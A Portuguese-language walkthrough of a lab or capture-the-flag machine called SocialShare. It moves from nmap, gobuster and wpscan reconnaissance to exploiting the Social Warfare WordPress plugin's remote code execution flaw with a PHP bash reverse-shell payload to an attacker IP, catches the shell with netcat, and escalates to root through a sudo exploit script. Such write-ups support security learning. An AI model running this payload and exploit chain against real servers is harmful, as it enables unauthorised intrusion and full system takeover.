SocialShare

IP:10.0.0.23

# nmap -sC -sV -v -Pn 10.0.0.23  
...............................
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 5b:55:43:ef:af:d0:3d:0e:63:20:7a:f4:ac:41:6a:45 (RSA)
|   256 53:f5:23:1b:e9:aa:8f:41:e2:18:c6:05:50:07:d8:d4 (ECDSA)
|_  256 55:b7:7b:7e:0b:f5:4d:1b:df:c3:5d:a1:d7:68:a9:6b (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: HS - Social Share
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Ao rodar o crawler gobuster, acharemos um wordpress rodando na porta 80:

# gobuster dir -e -u http://10.0.0.23 -w /usr/share/wordlists/dirb/big.txt
===============================================================
http://10.0.0.23/.htaccess            (Status: 403) [Size: 274]
http://10.0.0.23/.htpasswd            (Status: 403) [Size: 274]
http://10.0.0.23/server-status        (Status: 403) [Size: 274]
http://10.0.0.23/wordpress            (Status: 301) [Size: 310] 
===============================================================

Ao rodar o wpscan, acharemos algumas vulnerabilidades:

# wpscan --url 10.0.0.23/wordpress --api-token SEU_TOKEN --enumerate vp --plugins-detection aggressive

Vamos ver como funciona esta vulnerabilidade que ele encontrou:

[!] Title: Social Warfare <= 3.5.2 - Unauthenticated Remote Code Execution (RCE) Fixed in: 3.5.3 References: - https://wpscan.com/vulnerability/7b412469-cc03-4899-b397-38580ced5618 - https://www.webarxsecurity.com/social-warfare-vulnerability/

Basta seguir o passo a passo sugerido no link, criar um arquivo chamado payload.txt com seu código malicioso, e depois rodar na URL para checar o retorno. Vejamos um exemplo rodando o comando "lsb_release -a"

Pronto, temos aqui um RCE para explorar. Basta usar a criatividade para conseguir uma shell remota.

Exploração

Vamos criar então um arquivo chamado payload.txt com o seguinte conteúdo (não esqueça de adequar seu IP. Ele ser para gerar uma shell reverso em PHP.

<pre>system("/bin/bash -c 'bash -i >& /dev/tcp/172.29.34.50/4444 0>&1'")</pre>

Agora basta executar a url no browser e esperar fechar a shell no linux:

# nc -nlvp 4444 
listening on [any] 4444 ...
connect to [172.29.34.50] from (UNKNOWN) [10.0.0.23] 41772
bash: cannot set terminal process group (1084): Inappropriate ioctl for device
bash: no job control in this shell
www-data@socialshare:/var/www/html/wordpress/wp-admin$ 

Pós Exploração

Vamos rodar os comandos para checar as versões de Linux e Kernel do servidor:

$ lsb_release -a
lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 20.04 LTS
Release:	20.04
Codename:	focal
$ uname -a
uname -a
Linux socialshare.hs.local 5.4.0-53-generic #59-Ubuntu SMP Wed Oct 21 09:38:44 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

Temos aqui um ubuntu 20 com kernel 5.4.Jà sabemos que este cenário é vulnerável ao exploit Sarom Samedit (referente a versão vulnerável do sudo 1.8)

Vamos melhorar a shell via python:

$ python3 -c "import pty; pty.spawn(\"/bin/sh\")"

Agora basta transferir os scripts python para o servidor alvo e rodar o script para escalar os privilégios:

$ python exploit_nss.py
python exploit_nss.py
/bin/sh: 3: python: not found
$ python3 exploit_nss.py
python3 exploit_nss.py
# id
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)

Last updated